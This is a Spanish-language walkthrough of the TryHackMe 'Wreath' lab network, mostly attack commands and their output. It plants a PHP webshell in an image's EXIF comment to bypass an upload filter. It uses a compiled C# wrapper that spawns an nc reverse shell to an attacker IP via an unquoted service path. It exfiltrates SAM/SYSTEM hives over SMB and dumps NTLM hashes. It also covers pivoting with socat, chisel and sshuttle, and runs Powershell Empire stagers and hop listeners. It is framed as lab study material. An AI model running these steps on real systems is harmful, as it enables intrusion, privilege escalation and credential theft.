└─$ git clone https://github.com/internetwache/GitTools
Cloning into 'GitTools'...
remote: Enumerating objects: 242, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 242 (delta 9), reused 27 (delta 7), pack-reused 209
Receiving objects: 100% (242/242), 56.46 KiB | 947.00 KiB/s, done.
Resolving deltas: 100% (88/88), done.
┌──(kali㉿kali)-[~/THM_Wreath/tools/Post-Exploitation/.git]
└─$ GitTools/Extractor/extractor.sh . git_extracted
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: 82dfc97bec0d7582d485d9031c09abcb5c6b18f2
[+] Found folder: /home/kali/THM_Wreath/tools/Post-Exploitation/.git/git_extracted/0-82dfc97bec0d7582d485d9031c09abcb5c6b18f2/css
[+] Found file: /home/kali/THM_Wreath/tools/Post-Exploitation/.git/git_extracted/0-82dfc97bec0d7582d485d9031c09abcb5c6b18f2/css/.DS_Store
[+] Found file: /home/kali/THM_Wreath/tools/Post-Exploitation/.git/git_extracted/0-82dfc97bec0d7582d485d9031c09abcb5c6b18f2/css/bootstrap.min.css
[+] Found file: /home/kali/THM_Wreath/tools/Post-Exploitation/.git/git_extracted/0-82dfc97bec0d7582d485d9031c09abcb5c6b18f2/css/font-awesome.min.css
[+] Found file: /home/kali/THM_Wreath/tools/Post-Exploitation/.git/git_extracted/0-82dfc97bec0d7582d485d9031c09abcb5c6b18f2/css/style.css
[+] Found file: /home/kali/THM_Wreath/tools/Post-Exploitation/.git/git_extracted/0-82dfc97bec0d7582d485d9031c09abcb5c6b18f2/favicon.png
```
Y toca analizar el código de los 3 commits que nos ha sacado:
```bash=
┌──(kali㉿kali)-[~/…/tools/Post-Exploitation/.git/git_extracted]
└─$ ls
0-82dfc97bec0d7582d485d9031c09abcb5c6b18f2
1-345ac8b236064b431fa43f53d91c98c4834ef8f3
2-70dde80cc19ec76704567996738894828f4ee895
┌──(kali㉿kali)-[~/…/tools/Post-Exploitation/.git/git_extracted]
└─$ cat */commit-meta.txt
tree 03f072e22c2f4b74480fcfb0eb31c8e624001b6e
parent 70dde80cc19ec76704567996738894828f4ee895
author twreath <me@thomaswreath.thm> 1608592351 +0000
committer twreath <me@thomaswreath.thm> 1608592351 +0000
Initial Commit for the back-end
tree c4726fef596741220267e2b1e014024b93fced78
parent 82dfc97bec0d7582d485d9031c09abcb5c6b18f2
author twreath <me@thomaswreath.thm> 1609614315 +0000
committer twreath <me@thomaswreath.thm> 1609614315 +0000
Updated the filter
tree d6f9cc307e317dec7be4fe80fb0ca569a97dd984
author twreath <me@thomaswreath.thm> 1604849458 +0000
committer twreath <me@thomaswreath.thm> 1604849458 +0000
Static Website Commit
```
Tenemos varias formas de ordenarlos, entre las que se encuentran los parents (ya que el nombre del folder trae el commit actual), o el timestamp que aparece a la derecha del author. Total, que el más actual es el 1-345...
Buscamos algo de PHP a ver si podemos jugar con él:
```bash=
┌──(kali㉿kali)-[~/…/Post-Exploitation/.git/git_extracted/1-345ac8b236064b431fa43f53d91c98c4834ef8f3]
└─$ find . -name "*.php"
./resources/index.php
```
Y hay un comentario:
```bash=
<!-- ToDo:
- Finish the styling: it looks awful
- Get Ruby more food. Greedy animal is going through it too fast
- Upgrade the filter on this page. Cant rely on basic auth for everything
- Phone Mrs Walker about the neighbourhood watch meetings
-->
[...]
<p id=res><?php if (isset($res)){ echo $res; };?></p>
[...]
```
Efectivamente parece que en /resources hay un authentication basic:

Pero probando con la password que crackeamos del mimikatz (**i<3ruby**) y twreath/Thomas, hemos encontrado fácilmente el par :)
Ahora, parece que podemos subir imágenes, y podemos saltarnos el filtro maomenos fácilmente, viendo que las sube a /uploads (`$target = "uploads/".basename($_FILES["file"]["name"]);`).
El primer filtro:
`(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) || !$size)`
podemos saltarnoslo cambiando el nombre de la revshell a `shell.jpg.php` por ejemplo.
Para el segundo (`getimagesize($_FILES["file"]["tmp_name"])`) usaremos el método de https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/file-upload-bypass con la imagen del gato que ya hay de fondo:
```bash=
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' ruby.jpg
1 image files updated
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ mv ruby.jpg ruby.jpg.php
```

Y ya estaría

### Exploiting

Habemus clave privada SSH:
```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...]
GbJ7oAQ232an8AAAARcm9vdEB0bS1wcm9kLXNlcnYBAg==
-----END OPENSSH PRIVATE KEY-----
```
Pero como no sirva para el rdp, nos va a valer para poco...
En principio sirve poco. Vamos a subirle un nc que hemos compilado en el apartado de ofuscación... Espera que se ha vuelto a caer la conexión:
```bash=
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ sshuttle -r root@10.200.90.200 10.200.90.200/24 -x 10.200.90.200 --ssh-cmd "ssh -i id_rsa"&
[1] 50916
c : Connected to server.
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 10.200.90.150
Evil-WinRM shell v3.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> netsh advfirewall firewall add rule name="Chisel-NikNitro" dir=in action=allow protocol=tcp localport=47000
Ok.
*Evil-WinRM* PS C:\Users\Administrator\Documents> upload /home/kali/THM_Wreath/tools/Pivoting/Windows/chisel_1.7.3_windows_amd64 chisel_niknitro.exe
Info: Uploading /home/kali/THM_Wreath/tools/Pivoting/Windows/chisel_1.7.3_windows_amd64 to chisel_niknitro.exe
Data: 11758248 bytes of 11758248 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\Administrator\Documents> ./chisel_niknitro.exe server -p 47000 --socks5
chisel_niknitro.exe : 2022/12/20 12:43:48 server: Fingerprint P9oVS7PUYTZ6rDhpvOfJJiqbRD4spI8tpzZhb06Cdc8=
+ CategoryInfo : NotSpecified: (2022/12/20 12:4...I8tpzZhb06Cdc8=:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
2022/12/20 12:43:48 server: Listening on http://0.0.0.0:47000
```
Y desde nuestra máquina:
```bash=
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ ./chisel client 10.200.90.150:47000 1338:socks
2022/12/20 07:44:25 client: Connecting to ws://10.200.90.150:47000
2022/12/20 07:44:25 client: tun: proxy#127.0.0.1:1338=>socks: Listening
2022/12/20 07:44:25 client: Connected (Latency 59.521059ms)
```
Y volvemos a estar dentro. Subimos nuestra foto de gato con php webshell y todo listo.
Vamos a probar que llegamos con curl a nuestro servidor:

Perfecto, vamos a subir el nc.exe:


Y ya está dentro. Ahora lo lanzaremos:

Yasss!
Y mira que regalito trae:
```bash=
C:\xampp\htdocs\resources\uploads>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```
### Post exploiting
Vamos a buscar servicios que no estén por defecto:
*This lists all of the services on the system, then filters so that only services that are not in the C:\Windows directory are returned. This should cut out most of the core Windows services (which are unlikely to be vulnerable to this kind of vulnerability), leaving us with primarily lesser-known, user-installed services.*
```bash=
C:\xampp\htdocs\resources\uploads>wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
DisplayName Name PathName StartMode
Amazon SSM Agent AmazonSSMAgent "C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe" Auto
Apache2.4 Apache2.4 "C:\xampp\apache\bin\httpd.exe" -k runservice Auto
AWS Lite Guest Agent AWSLiteAgent "C:\Program Files\Amazon\XenTools\LiteAgent.exe" Auto
LSM LSM Unknown
Mozilla Maintenance Service MozillaMaintenance "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe" Manual
NetSetupSvc NetSetupSvc Unknown
Windows Defender Advanced Threat Protection Service Sense "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" Manual
System Explorer Service SystemExplorerHelpService C:\Program Files (x86)\System Explorer\System Explorer\service\SystemExplorerService64.exe Auto
Windows Defender Antivirus Network Inspection Service WdNisSvc "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\NisSrv.exe" Manual
Windows Defender Antivirus Service WinDefend "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MsMpEng.exe" Auto
Windows Media Player Network Sharing Service WMPNetworkSvc "C:\Program Files\Windows Media Player\wmpnetwk.exe" Manual
```
Vaya, parece que uno de estos servicios no está ["entrecomillado"](https://vk9-sec.com/privilege-escalation-unquoted-service-path-windows/).. Chan chan chaaaaannn!!!!
```bash=
C:\xampp\htdocs\resources\uploads>sc qc SystemExplorerHelpService
sc qc SystemExplorerHelpService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: SystemExplorerHelpService
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\System Explorer\System Explorer\service\SystemExplorerService64.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Explorer Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
```
Vamos a ver si tenemos permisos de escritura en el fichero:
```bash=
C:\xampp\htdocs\resources\uploads>powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
Path : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\System Explorer
Owner : BUILTIN\Administrators
Group : WREATH-PC\None
Access : BUILTIN\Users Allow FullControl '<--- ESTE'
NT SERVICE\TrustedInstaller Allow FullControl
NT SERVICE\TrustedInstaller Allow 268435456
NT AUTHORITY\SYSTEM Allow FullControl
NT AUTHORITY\SYSTEM Allow 268435456
BUILTIN\Administrators Allow FullControl
BUILTIN\Administrators Allow 268435456
BUILTIN\Users Allow ReadAndExecute, Synchronize
BUILTIN\Users Allow -1610612736
CREATOR OWNER Allow 268435456
[...]
```
Los tenemos xD
Vamos a copiar desde [TCM Course - Windows Privilege Escalation - Part 2](/CCdRXmudS0ig61miifgAGQ) el archivo *windows_service.c*, editandole el payload por:
`net user niknitro nikn1tro /add;net localgroup Administrators niknitro /add`
Lo compilamos:
`x86_64-w64-mingw32-gcc windows_service.c -o System.exe`
Y lo subimos con `invoke-webrequest -Uri "http://10.50.91.249/System.exe" -Outfile System.exe`
No funciona, da un error 1083. Probamos con el de la room:
```bash=
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ cat Wrapper.cs
using System;
using System.Diagnostics;
namespace Wrapper{
class Program{
static void Main(){
Process proc = new Process();
ProcessStartInfo procInfo = new ProcessStartInfo("c:\\Users\\Public\\nc_niknitro.exe", "10.50.91.249 80 -e cmd.exe");
procInfo.CreateNoWindow = true;
proc.StartInfo = procInfo;
proc.Start();
}
}
}
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ mcs Wrapper.cs
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ mv Wrapper.exe System.exe
```
Lo pegamos en *C:\Program Files (x86)\System Explorer*, y paramos e iniciamos el proceso con:
```bash=
sc stop SystemExplorerHelpService
sc start SystemExplorerHelpService
```
Y...
```bash=
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ nc -nlvp 80
listening on [any] 80 ...
connect to [10.50.91.249] from (UNKNOWN) [10.200.90.100] 49990
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>hostname
hostname
wreath-pc
```
Got Root!
Vamos a traernos los hashes, montando un smb con impacket:
`impacket-smbserver share . -smb2support -username user -password us3r`
```bash=
C:\Users\Administrator>reg.exe save HKLM\SAM sam.bak
reg.exe save HKLM\SAM sam.bak
The operation completed successfully.
C:\Users\Administrator>reg.exe save HKLM\SYSTEM system.bak
reg.exe save HKLM\SYSTEM system.bak
The operation completed successfully.
C:\Users\Administrator>net use \\10.50.91.249\share /USER:user us3r
net use \\10.50.91.249\share /USER:user us3r
The command completed successfully.
C:\Users\Administrator>move sam.bak \\10.50.91.249\share\sam.bak
move sam.bak \\10.50.91.249\share\sam.bak
C:\Users\Administrator>move system.bak \\10.50.91.249\share\system.bak
move system.bak \\10.50.91.249\share\system.bak
1 file(s) moved.
```
Y...
```bash=
┌──(kali㉿kali)-[~/THM_Wreath/smb]
└─$ impacket-secretsdump -sam ./sam.bak -system ./system.bak LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Target system bootKey: 0xfce6f31c003e4157e8cb1bc59f4720e6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a05c3c807ceeb48c47252568da284cd2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:06e57bdd6824566d79f127fa0de844e2:::
Thomas:1
```
## Pivoting Ways - Proxy Servers
### SSH
`-f`: Dejalo en background.
`-N`: No abras consola. Solo conecta.
Montar proxy en puerto 8000 local dirección user@target.thm.
```bash=
ssh -D 8000 user@target.thm -fN
```
Desde el target, dirigir el puerto 22 del mismo hacia mi 2222.
```bash=
ssh -R 2222:target.thm:22 kali@my_machine.thm -i id_rsa -fN
```
### Plink.exe
Es una versión CLI de Putty.
```bash=
cmd.exe /c echo y | .\plink.exe -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -N
```
El inicio de `cmd.exe /c echo y` nos permite montar una shell no interactiva, ignorando el típico mensaje de que nunca antes se había conectado al target antes. Por si la shell no es buena.
Es importante anotar también que las keys montadas con ssh-keygen no sirven para putty y, por tanto, tampoco para plink. Para ello podemos usar puttygen:
```bash=
sudo apt install putty-tools
puttygen KEYFILE -o OUTPUT_KEY.ppk
```
### Socat
Entendamos las máquinas como *Kali* -> *Vulnerada* -> *Target* para los siguientes ejemplos.
Sirve tanto para reverse shells como para port forwarding. Su único problema es que no va a estar instalado por defecto en un equipo.
#### Reverse Shell Relay
Para usarlo como **reverse shell relay** (redireccionador de reverse shell), debemos lanzarlo así en el equipo *Vulnerado*:
`./socat tcp-l:8000 tcp:attacking:443 &`
Ahora montamos nuestro nc en nuestra máquina *Kali*:
`nc -nlvp 443`
Y cuando conecten, podremos crear una reverse shell al nuevo puerto abierto 8000 en la máquina *Target*.
#### Port forwarding fácil
Si queremos hacer un **port forwarding fácil** y rápido, solo tendríamos que lanzar el siguiente comando en la máquina *Vulnerada*:
`./socat tcp-l:33060,fork,reuseaddr tcp:Target_machine:3306 &`
Esto nos dará, a través del 33060 de la máquina *Vulnerada* acceso al puerto 3306 de la máquina *Target*.
La opción **fork** se usa para poner cada conexión en un nuevo proceso (y poder lanzar varias conexiones).
La opción **reuseaddr** significa que el puerto sigue abierto tras una conexión, esperando la siguiente.
#### Port Forwarding silencioso
Sin embargo, el método anterior abre un puerto en una máquina comprometida, lo cual puede levantar sospechas ante un siem o un network scanning. Es por esto que existe un método más complicado para conseguir un **port forwarding silencioso**:
Para ello en nuestra máquina *Kali* lanzaremos:
`socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &`
Esto abre dos puertos, creando un port relay local entre ambos, teniendo solo el segundo el fork y reuseaddr.
Ahora en la máquina *Vulnerada* lanzamos el siguiente comando:
`socat tcp:Kali_IP:8001 tcp:Target_IP:Target_PORT,fork &`
Esto crearía un link entre el puerto 8000 de nuestra *Kali* y el 80 de *Target*.
Como nota final, para cerrar los procesos de socat en segundo plano, la opción más general es lanzar el comando `jobs` y matar cada uno de ellos con `kill %NUMBER`.
### Chisel
El binario de chisel tiene dos modos: cliente y servidor.
Nota: Chisel usa socks5. Si lo unieramos con proxychains, tendriamos que cambiar el inicio de la línea de configuración de *socks4* a *socks5*.
#### Reverse SOCKS Proxy
En nuestra máquina Kali, lanzaremos el siguiente comando:
`./chisel server -p LISTEN_PORT --reverse &`
Y en la máquina comprometida, el siguiente comando:
`./chisel client ATTACKING_IP:LISTEN_PORT R:socks &`
E ya.
#### Forward SOCKS Proxy
Estos son más raros que los reverse.
Primero, en la máquina comprometida, lanzamos:
`./chisel server -p LISTEN_PORT --socks5`
Y en nuestra Kali, usaremos ahora:
`./Chisel client TARTE_IP:LISTEN_PORT PROXY_PORT:socks`
#### Remote Port Forward
En la Kali:
`./chisel server -p LISTEN_PORT --reverse &`
Y en la máquina vulnerada:
`./chisel client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP_TARGET_PORT`
#### Local Port Forward
En la máquina vulnerada:
`./chisel server -p LISTEN_PORT &`
Y en la máquina Kali:
`./chisel client LISTEN_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP_TARGET_PORT`
### sshuttle
Esta herramienta es un poco diferente, porque lo que monta es un VPN más que un proxy en sí. Se instala con apt y funciona siempre que tengamos acceso por SSH a la máquina vulnerada:
El comando base para atacar sería:
`sshuttle -r user@IP_ADDRESS 172.16.0.0/24`
En vez de especificar subredes, también podemos usar la flag `-N` que intenta determinarlas automáticamente basándose en la tabla de enrutamiento del servidor comprometido:
`sshuttle -r user@IP_ADDRESS -N`
Si en vez de password lo que tenemos es una clave privada, nos conectaríamos así:
`sshuttle -r user@address --ssh-cmd "ssh -i id_rsa" SUBNET`
Es importante tener en cuenta el siguiente error:
```bash=
client: Connected.
client_loop: send disconnect: Broken pipe
client: fatal: server died with error code 255
```
Esto ocurre si la IP a la que nos estamos conectando se encuentra dentro de la subnet que estamos forwardeando. Para arreglarlo podemos o bien sacar esta ip del rango, o bien usar la flag `-x` para excluir una IP:
`sshuttle -r user@172.16.0.5 172.16.0.0/24 -x 172.16.0.5`
## Pivoting Ways - Proxy Clients
### Proxychains:
Esta herramienta solo permite lanzar comandos a través de un proxy. Para montar el proxy es necesario hacerlo con alguna de las otras formas de este doc (por ejemplo la flag -D de ssh).
Creamos el proxy con:
```bash=
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ ssh -i id_rsa -D 1337 root@10.200.90.200
[root@prod-serv ~]#
```
Editamos el archivo /etc/proxychains4.conf, añadiendo al final `socks4 IP port`. En este caso quedaría tal que así:
```bash=
┌──(kali㉿kali)-[~/THM_Wreath/tools/Enumeration/Linux]
└─$ tail /etc/proxychains4.conf
#
# proxy types: http, socks4, socks5, raw
# * raw: The traffic is simply forwarded to the proxy without modification.
# ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 10.200.90.200 1337
```
### FoxyProxy
Extensión para Firefox y Chrome.
Si hemos montado un proxy con, por ejemplo, la flag `-D 1337`, solo habría que configurar el proxy para localhost en dicho puerto:

## Command&Control - Powershell Empire
With a foothold in a target network, we can start looking to bring what is known as a C2 (Command and Control) Framework into play. C2 Frameworks are used to consolidate an attacker's position within a network and simplify post-exploitation steps (privesc, AV evasion, pivoting, looting, covert network tactics, etc), as well as providing red teams with extensive collaboration features. There are many C2 Frameworks available. The most famous (and expensive) is likely Cobalt Strike; however, there are many others, including the .NET based Covenant, Merlin, Shadow, PoshC2, and many others. An excellent resource for finding (and filtering) C2 frameworks is The C2 Matrix, which provides a great list of the pros and cons of a huge number of frameworks.
### Installation
Nota: en Kali viene por defecto.
```bash=
sudo apt install powershell-empire starkiller
```
Para iniciarlo, hay que lanzar `sudo powershell-empire server`. Esto levantaría el servidor (que puede estar en una máquina diferente de la de trabajo). Múltiples clientes pueden conectarse al servidor para trabajar en paralelo.
Para empezar a trabajar ahora, en otra terminal lanzaremos `powershell-empire client`, el cual se conectará automáticamente a nuestro servidor si estamos en local.
Si el servidor estuviera en una máquina diferente, necesitaríamos configurarlo correctamente en el archivo `/usr/share/powershell-empire/empire/client/config.yaml` o en la CLI del client con `connect HOSTNAME --username=USERNAME --password=PASSWORD`.
Info interesante: En los menús, los comandos para volver son `back` y `main`.
Por otro lado, *starkiller* es una GUI que se conecta al servidor mediante la API. Se ejecuta lanzando el comando con el mismo nombre, y la primera vista que tendremos es la siguiente:

Credenciales: empireadmin:password123
### Listeners
Se usan para recibir conexiones de los stager (que veremos más adelante). El listener por defecto es *HTTP*, que es el que usaremos aquí.
`uselistener http`
Esto nos trae una tabla enorme de opciones de este listener. Podemos acceder de nuevo a dicha tabla con el comando `options`
Ahora definimos las opciones que nos interesen:
```bash=
(Empire: uselistener/http) > set Name CLIHTTP
[*] Set Name to CLIHTTP
(Empire: uselistener/http) > set Host 10.50.91.249
[*] Set Host to 10.50.91.249
(Empire: uselistener/http) > set Port 8000
[*] Set Port to 8000
(Empire: uselistener/http) > execute
```
Y ya estaría. La verdad es que en starkiller es bastante intuitivo, así que no escribiré mucho.
### Stagers
Son los payloads de Empire. Se usan para conectarse a listeners creando un agente cuando se ejecutan. Se crean con `usestager` seguido del tipo a usar.

Ante la duda, *multi/launcher* siempre suele ser una buena apuesta. EN este caso vamos con *multi/bash*

### Agents
Ahora que tenemos corriendo el listener y creado el stager, es hora de unirlos para tener un agente.
```bash=
┌──(kali㉿kali)-[~/THM_Wreath]
└─$ ssh -i id_rsa root@10.200.90.200
[root@prod-serv ~]# ls
anaconda-ks.cfg chisel_niknitro nmap-niknitro plink_niknitro.exe socat_nikNitro
[root@prod-serv ~]# vim stager_niknitro.sh
[root@prod-serv ~]# chmod +x stager_niknitro.sh
[root@prod-serv ~]# ./stager_niknitro.sh
[root@prod-serv ~]#
```
Y...


```bash=
(Empire: listeners) > agents
┌Agents──────────┬──────────┬───────────────┬──────────┬─────────┬──────┬───────┬─────────────────────────┬──────────┐
│ ID │ Name │ Language │ Internal IP │ Username │ Process │ PID │ Delay │ Last Seen │ Listener │
├────┼───────────┼──────────┼───────────────┼──────────┼─────────┼──────┼───────┼─────────────────────────┼──────────┤
│ 2 │ KQ8GQZFL* │ python │ 10.200.90.200 │ root │ python3 │ 4585 │ 5/0.0 │ 2022-12-19 07:21:29 EST │ CLIHTTP │
│ │ │ │ │ │ │ │ │ (5 seconds ago) │ │
└────┴───────────┴──────────┴───────────────┴──────────┴─────────┴──────┴───────┴─────────────────────────┴──────────┘
(Empire: agents) > interact KQ8GQZFL
(Empire: KQ8GQZFL) > help
┌Help Options────┬─────────────────────────────────────┬───────────────────────────────┐
│ Name │ Description │ Usage │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ display │ Display an agent property │ display <property_name> │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ download │ Tasks an the specified agent to │ download <file_name> │
│ │ download a file. │ │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ help │ Display the help menu for the │ help │
│ │ current menu │ │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ history │ Display last number of task results │ history [<number_tasks>] │
│ │ received. │ │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ info │ Display agent info. │ info │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ killdate │ Set an agents killdate │ killdate <kill_date> │
│ │ (01/01/2020) │ │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ proxy │ Proxy management menu for │ proxy │
│ │ configuring agent proxies │ │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ script_command │ Execute a function in the │ shell_command <script_cmd> │
│ │ currently imported PowerShell │ │
│ │ script. │ │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ script_import │ Uploads a PowerShell script to the │ script_import │
│ │ server and runs it in memory on the │ <local_script_location> │
│ │ agent. Use '-p' for a file │ │
│ │ selection dialog. │ │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ shell │ Tasks an the specified agent to │ shell <shell_cmd> │
│ │ execute a shell command. │ │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ sleep │ Tasks an the specified agent to │ sleep <delay> <jitter> │
│ │ update delay (s) and jitter (0.0 - │ │
│ │ 1.0) │ │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ update_comms │ Update the listener for an agent. │ update_comms <listener_name> │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ upload │ Tasks an the specified agent to │ upload <local_file_directory> │
│ │ upload a file. Use '-p' for a file │ │
│ │ selection dialog. │ │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ view │ View specific task and result │ view <task_id> │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ vnc │ Launch a VNC server on the agent │ vnc │
│ │ and spawn a VNC client │ │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ vnc_client │ Launch a VNC client to a remote │ vnc_client <address> <port> │
│ │ server │ <password> │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ workinghours │ Set an agents working hours │ workinghours <working_hours> │
│ │ (9:00-17:00) │ │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ whoami │ Tasks an agent to run the shell │ whoami │
│ │ command 'whoami' │ │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ ps │ Tasks an agent to run the shell │ ps │
│ │ command 'ps' │ │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ sc │ Tasks the agent to run module │ sc <SavePath> │
│ │ python/collection/osx/screenshot. │ │
├────────────────┼─────────────────────────────────────┼───────────────────────────────┤
│ keylog │ Tasks the agent to run module │ keylog <LogFile> │
│ │ python/collection/osx/keylogger. │ │
└────────────────┴─────────────────────────────────────┴───────────────────────────────┘
(Empire: KQ8GQZFL) > whoami
[*] Tasked KQ8GQZFL to run Task 1
[*] Task 1 results received
root
```
También podemos renombrar agentes con
`(Empire: agents) > rename KQ8GQZFL linux_srv`
y matarlos con
`(Empire: agents) > kill linux_srv`
Desde Starkill tenemos muchas más opciones para jugar, como ejecutar módulos:

### Hop Listeners
Los agentes de Empire no pueden ser proxeados con un relay de socat o redirecciones por el estilo, pero hay un método para recuperar un agente desde un target que no nos llega: **Hop Listener** se llama eso.
Los Hop Listeners se crean igual que los listeners normales, pero en vez de abrir un puerto, el hop listener crea archivos para ejecutar en la máquina comprometida, y servir el listener desde ella.
```bash=
(Empire) > uselistener http_hop
Author @harmj0y
Description Starts a http[s] listener (PowerShell or Python) that uses a GET/POST
approach.
Name HTTP[S] Hop
┌Record Options──────┬────────────────────────────────┬──────────┬────────────────────────────────────┐
│ Name │ Value │ Required │ Description │
├────────────────────┼────────────────────────────────┼──────────┼────────────────────────────────────┤
│ DefaultProfile │ │ False │ Default communication profile for │
│ │ │ │ the agent, extracted from │
│ │ │ │ RedirectListener automatically. │
├────────────────────┼────────────────────────────────┼──────────┼────────────────────────────────────┤
│ Host │ │ True │ Hostname/IP for staging. │
├────────────────────┼────────────────────────────────┼──────────┼────────────────────────────────────┤
│ Launcher │ powershell -noP -sta -w 1 -enc │ True │ Launcher string. │
├────────────────────┼────────────────────────────────┼──────────┼────────────────────────────────────┤
│ Name │ http_hop │ True │ Name for the listener. │
├────────────────────┼────────────────────────────────┼──────────┼────────────────────────────────────┤
│ OutFolder │ /tmp/http_hop/ │ True │ Folder to output redirectors to. │
├────────────────────┼────────────────────────────────┼──────────┼────────────────────────────────────┤
│ Port │ │ True │ Port for the listener. │
├────────────────────┼────────────────────────────────┼──────────┼────────────────────────────────────┤
│ RedirectListener │ │ True │ Existing listener to redirect the │
│ │ │ │ hop traffic to. │
├────────────────────┼────────────────────────────────┼──────────┼────────────────────────────────────┤
│ RedirectStagingKey │ │ False │ The staging key for the redirect │
│ │ │ │ listener, extracted from │
│ │ │ │ RedirectListener automatically. │
├────────────────────┼────────────────────────────────┼──────────┼────────────────────────────────────┤
│ SlackURL │ │ False │ Your Slack Incoming Webhook URL to │
│ │ │ │ communicate with your Slack │
│ │ │ │ instance. │
└────────────────────┴────────────────────────────────┴──────────┴────────────────────────────────────┘
(Empire: uselistener/http_hop) > set RedirectListener CLIHTTP
[*] Set RedirectListener to CLIHTTP
(Empire: uselistener/http_hop) > set Host 10.200.90.200
[*] Set Host to 10.200.90.200
(Empire: uselistener/http_hop) > set Port 47000
[*] Set Port to 47000
(Empire: uselistener/http_hop) > execute
[+] Listener http_hop successfully started
```
Esto nos habrá creado una serie de archivos en /tmp/http_hop:
```bash=
┌──(kali㉿kali)-[~]
└─$ cd /tmp/http_hop
┌──(kali㉿kali)-[/tmp/http_hop]
└─$ tree
.
├── admin
│ └── get.php
├── login
│ └── process.php
└── news.php
2 directories, 3 files
```
Para usarlo, debemos copiar esa estructura de archivos en la máquina vulnerada:
```bash=
[root@prod-serv server_niknitro]# curl http://10.50.91.249/http_hop.zip -o http_hop_niknitro.zip
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 3194 100 3194 0 0 24015 0 --:--:-- --:--:-- --:--:-- 24196
[root@prod-serv server_niknitro]# ls
http_hop_niknitro.zip
[root@prod-serv server_niknitro]# unzip http_hop_niknitro.zip
